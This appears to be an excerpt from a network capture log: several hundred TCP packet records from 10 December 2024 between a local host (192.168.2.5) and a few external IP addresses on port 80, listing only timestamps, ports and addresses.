Dec 10, 2024 02:50:51.650074005 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.650116920 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.650182962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.650224924 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.650924921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.650966883 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.651032925 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.651074886 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.651772976 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.651822090 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.651904106 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.651943922 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.652652025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.652695894 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.652721882 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.652755022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.653487921 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.653531075 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.653565884 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.653610945 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.654345036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.654388905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.654469967 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.654515028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.655215979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.655257940 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.655601025 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.655643940 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.656053066 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.656095028 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.656157970 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.656197071 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.656877041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.656922102 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.656991959 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.657035112 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.657675028 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.657716990 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.805454016 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.805512905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.805584908 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.805629015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.805782080 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.805824995 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.805943012 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.805984020 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.806725979 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.806780100 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.806848049 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.806891918 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.809098005 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809109926 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809161901 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.809184074 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.809788942 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809801102 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809813023 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809824944 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.809839010 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.809858084 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.811743975 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.811757088 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.811768055 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.811779022 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.811866045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.811866045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.812073946 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.812115908 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.812249899 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.812295914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.813321114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.813368082 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.813677073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.813688040 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.813694954 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.813740015 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.814361095 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.814414024 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.814470053 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.814512968 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817074060 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817095041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817141056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817173958 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817284107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817312002 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817325115 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817334890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817337990 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817353964 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817373991 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817754030 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817797899 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.817862988 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.817908049 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.821163893 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821177006 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821187973 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821199894 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821216106 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821221113 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.821228981 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821240902 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.821271896 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.821288109 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821301937 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.821327925 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.821352959 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.823040962 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.823055983 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.823067904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.823077917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.823084116 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.823116064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.823134899 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.823899031 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.823942900 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.824261904 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.824310064 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.824636936 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.824683905 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.824820042 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.824863911 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.825479984 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.825525045 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.825603008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.825639963 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.826272011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.826319933 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.826375008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.826421022 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.827162027 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.827220917 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.827294111 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.827342987 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.828001976 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.828049898 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.828109026 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.828155994 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.828843117 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.828891039 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.828941107 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.828985929 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.829693079 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.829740047 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.829796076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.829839945 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.830532074 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.830571890 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.830658913 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.830694914 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.831434011 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.831476927 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.831537008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.831582069 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.832345009 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.832386971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.832528114 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.832567930 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.833129883 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.833173990 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.833244085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.833286047 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.833993912 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.834038019 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.834106922 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.834151030 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.834871054 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.834914923 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.834968090 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.835007906 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.835740089 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.835784912 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.838057041 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838068008 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838095903 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838103056 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.838105917 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838118076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838129044 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.838160038 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.838510036 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838556051 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.838607073 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.838650942 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.839101076 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.839143038 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.839210987 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.839255095 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.839950085 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.839997053 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.840060949 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.840105057 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.840796947 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.840843916 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:51.840883017 CET	80	49798	185.215.113.16	192.168.2.5
Dec 10, 2024 02:50:51.840919971 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:50:52.051693916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:52.051940918 CET	49818	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:52.170975924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:52.171137094 CET	80	49818	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:52.171205044 CET	49818	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:52.171386003 CET	49818	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:52.290687084 CET	80	49818	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:53.995142937 CET	80	49818	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:53.996227026 CET	49818	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:56.629283905 CET	49818	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:56.630731106 CET	49798	80	192.168.2.5	185.215.113.16
Dec 10, 2024 02:51:03.913764000 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:04.041912079 CET	80	49847	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:04.042013884 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:04.042361021 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:04.161565065 CET	80	49847	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:05.383074999 CET	80	49847	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:05.383141994 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:06.886409998 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:06.886754990 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:07.006032944 CET	80	49853	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:07.006053925 CET	80	49847	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:07.006143093 CET	49847	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:07.006151915 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:07.006620884 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:07.125806093 CET	80	49853	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:08.367480993 CET	80	49853	185.215.113.43	192.168.2.5
Dec 10, 2024 02:51:08.367589951 CET	49853	80	192.168.2.5	185.215.113.43
Dec 10, 2024 02:51:08.372179031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:08.491393089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:08.491466999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:08.491641998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:08.610843897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.814922094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.814999104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.815035105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815047026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815093994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.815444946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815457106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815489054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.815521002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.815758944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815772057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.815818071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.816158056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.816169024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.816179991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.816210985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.816236973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.935332060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.935398102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.935439110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.935599089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:09.939421892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:09.940159082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.007145882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.007265091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.007303953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.007370949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.011220932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.011281967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.011327982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.011378050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.019593000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.019650936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.019695044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.019870043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.027961969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.028021097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.028096914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.028142929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.036319017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.036365032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.036437988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.036484003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.044656992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.044760942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.044825077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.053039074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.053098917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.053177118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.061374903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.061502934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.061573982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.069746971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.069802046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.069806099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.069852114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.078062057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.078223944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.078381062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.085692883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.085792065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.085850954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.126661062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.126733065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.126734972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.126776934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.199230909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.199302912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.199356079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.199404955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.201634884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.201694965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.201754093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.201806068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.206317902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.206374884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.206418037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.206465006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.211034060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.211134911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.211203098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.215718985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.215776920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.215831041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.215913057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.220376968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.220447063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.220484972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.220527887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.225054026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.225111961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.225142956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.225186110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.229681015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.229744911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.229784966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.229819059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.234344959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.234419107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.234456062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.234498024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.238981962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.239048958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.239078999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.239120007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.243638992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.243693113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.243752003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 10, 2024 02:51:10.243793011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 10, 2024 02:51:10.248271942 CET	80	49859	31.41.244.11	192.168.2.5
